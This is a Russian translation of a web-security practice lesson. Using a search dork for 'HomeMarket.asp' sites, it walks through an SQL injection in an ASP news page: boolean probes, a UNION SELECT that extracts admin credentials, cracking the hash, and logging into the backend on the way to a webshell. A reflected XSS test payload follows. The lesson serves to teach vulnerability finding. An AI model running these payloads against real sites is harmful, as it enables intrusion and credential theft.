Мист Уайтхэт: практическое занятие, южное направление, 0day
Преподаватель: gh0stkey (https://www.zhihu.com/people/gh0stkey/answers)
Редактор: Летающий дракон (https://github.com/)
Соглашение: CC BY-NC-SA 4.0 (http://creativecommons.org/licenses/by-nc-sa/4.0/)
Ключевые слова: inurl:"HomeMarket.asp".
http://www.jb51.net/article/5336.htm
Мы планируем проверить наличие SQL-инъекций в системе, поскольку код на ASP практически не имеет хорошей фильтрации, обычно можно найти одну уязвимость за другой. Для поиска SQL-инъекции мы можем использовать имена типа sql
или conn
, а также функции типа execute
, чтобы определить местоположение запроса к базе данных.
Например, в строке 14–32 файла NewsType.asp мы обнаружили следующее:
<%
' ...
BigClass=request("BigClass")
SmallClass=request("SmallClass")
' ...
%>
<%
if BigClass<>"" and SmallClass<>"" then
sql="select * from News where BigClassName='"& BigClass &"' and SmallClassName='"& SmallClass &"' order by AddDate desc"
set rs=conn.execute(sql)
do while not rs.eof
%>
Здесь мы видим, что это текстовый параметр, то есть при внедрении нам нужно найти способ закрыть одинарные кавычки. Кроме того, используется база данных Access, и мы не можем использовать --
для комментирования, как в MySQL и SQLServer.
Мы по-прежнему вводим значение SmallClass
как ' and '1'='1
, создавая URL NewsType.asp?SmallClass=%27%20and%20%271%27=%271`. Всё работает нормально.
Вводим ' and '1'='2
, создавая URL NewsType.asp?SmallClass=%27%20and%20%271%27=%272`. Обнаруживаем ошибку.
Затем мы проверяем каталог исходного кода Databases/0791idc.mdb и узнаём, что таблица News содержит десять полей.
Далее мы вводим ' and 1=2 union select 1,2,3,4,5,6,7,8,9,0 from admin where '1'='1
и обнаруживаем, что отображаются значения 2 и 9:
Теперь всё становится проще. Сначала мы смотрим, какие имена пользователей и пароли используются в таблице admin. Мы заменяем 2 на username, а 9 на password.
Затем отправляем f3a976c77dc7264c в pmd5 для расшифровки, получаем 060618.
После этого мы можем получить доступ к бэкэнду через /admin, войти в систему и продолжить получение WebShell.
Если мы щёлкнем в правом верхнем углу страницы «Свяжитесь с нами», мы увидим, что эти четыре символа появляются в URL страницы, и они также появляются на странице.
Затем мы меняем параметр Title в URL на 1:
Это подсказывает нам, что здесь может быть XSS, поэтому мы меняем его на <script>alert(1)</script>
:
Мы видим, что этот элемент появляется в исходном коде.
Вы можете оставить комментарий после Вход в систему
Неприемлемый контент может быть отображен здесь и не будет показан на странице. Вы можете проверить и изменить его с помощью соответствующей функции редактирования.
Если вы подтверждаете, что содержание не содержит непристойной лексики/перенаправления на рекламу/насилия/вульгарной порнографии/нарушений/пиратства/ложного/незначительного или незаконного контента, связанного с национальными законами и предписаниями, вы можете нажать «Отправить» для подачи апелляции, и мы обработаем ее как можно скорее.
Опубликовать ( 0 )